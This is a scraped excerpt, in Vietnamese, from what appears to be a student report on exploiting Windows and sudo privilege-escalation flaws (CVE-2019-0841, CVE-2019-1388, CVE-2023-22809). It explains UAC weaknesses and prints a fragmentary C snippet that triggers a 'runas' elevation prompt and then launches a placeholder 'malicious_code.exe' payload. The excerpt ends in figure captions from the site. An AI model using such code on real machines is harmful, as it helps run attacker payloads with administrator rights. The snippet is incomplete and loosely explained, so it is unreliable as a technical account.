- Hệ thống không kiểm soát chặt chẽ cách thức yêu cầu quyền, dẫn đến việccác ứng dụng độc hại có thể tự động kích hoạt hộp thoại UAC

Kẻ tấn công lợi dụng sự thiếu hiểu biết của người dung

- Người dùng thường nhấp "Yes" khi gặp hộp thoại UAC mà không kiểm trakỹ

- UAC không cung cấp đủ thông tin để giúp người dùng nhận ra mối nguyhiểm, tạo điều kiện cho kẻ tấn công lợi dụng

2.2.3 Các phiên bản bị ảnh hưởng

Lỗ hổng này ảnh hưởng đến các phiên bản sau của Microsoft Windows:

- Windows 10 (Phiên bản 1903 và trước đó)

const char* trustedInstallerPath = "C:\\Windows\\System32\\cmd.exe";

// Hiển thị thông báo cho người dùng

printf("[+] Khởi chạy ứng dụng với quyền admin thông qua UAC \n");

// Kích hoạt UAC với quyền quản trị viên

HINSTANCE result = ShellExecuteA(

NULL, // Handle cửa sổ hiện tại

"runas", // Yêu cầu nâng quyền

trustedInstallerPath, // Đường dẫn tới ứng dụng

Trang 24

NULL, // Không truyền tham số

NULL, // Thư mục làm việc hiện tại

SW_SHOWNORMAL // Hiển thị cửa sổ ứng dụng

);

// Kiểm tra kết quả

if ((int)result > 32) {

printf("[+] UAC đã được cấp quyền, thực thi mã độc hại!\n");

system("malicious_code.exe"); // Payload độc hại

Hàm này là trọng tâm của việc khai thác:

 Tham số "runas": Kích hoạt UAC yêu cầu quyền quản trị

 Ứng dụng hợp lệ: Do ứng dụng được ký số hợp lệ, Windows tin tưởng và không hiển thị đầy đủ thông tin về nguồn gốc (giao diện UAC bị đánh lừa)

Ngày đăng: 23/12/2024, 17:58

HÌNH ẢNH LIÊN QUAN

Hình 1.1: Tấn công leo thang đặc quyền - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 1.1 Tấn công leo thang đặc quyền (Trang 5)
Hình 1.2: Các loại leo thang đặc quyền - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 1.2 Các loại leo thang đặc quyền (Trang 6)
Hình 3.1: Thực nghiệm CVE 2019-0841 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.1 Thực nghiệm CVE 2019-0841 (Trang 36)
Hình 3.3: Thực nghiệm CVE 2019-0841 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.3 Thực nghiệm CVE 2019-0841 (Trang 37)
Hình 3.2: Thực nghiệm CVE 2019-0841 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.2 Thực nghiệm CVE 2019-0841 (Trang 37)
Hình 3.4: Thực nghiệm CVE 2019-0841 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.4 Thực nghiệm CVE 2019-0841 (Trang 38)
Hình 3.6: Thực nghiệm CVE 2019-1388 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.6 Thực nghiệm CVE 2019-1388 (Trang 39)
Hình 3.8: Thực nghiệm CVE 2019-1388 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.8 Thực nghiệm CVE 2019-1388 (Trang 41)
Hình 3.9: Thực nghiệm CVE 2019-1388 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.9 Thực nghiệm CVE 2019-1388 (Trang 41)
Hình 3.10: Thực nghiệm CVE 2019-1388 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.10 Thực nghiệm CVE 2019-1388 (Trang 42)
Hình 3.11: Thực nghiệm CVE 2023-22809 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.11 Thực nghiệm CVE 2023-22809 (Trang 43)
Hình 3.13: Thực nghiệm CVE 2023-22809 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.13 Thực nghiệm CVE 2023-22809 (Trang 44)
Hình 3.16: Thực nghiệm CVE 2023-22809 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.16 Thực nghiệm CVE 2023-22809 (Trang 45)
Hình 3.17: Thực nghiệm CVE 2023-22809 - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
Hình 3.17 Thực nghiệm CVE 2023-22809 (Trang 46)
BẢNG PHÂN CHIA CÔNG VIỆC - Khai thác lỗ hổng phần mềm Đề tài khai thác lỗ hổng cve 2019 0841, cve 2019 1388 và cve 2023 22809
BẢNG PHÂN CHIA CÔNG VIỆC (Trang 49)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w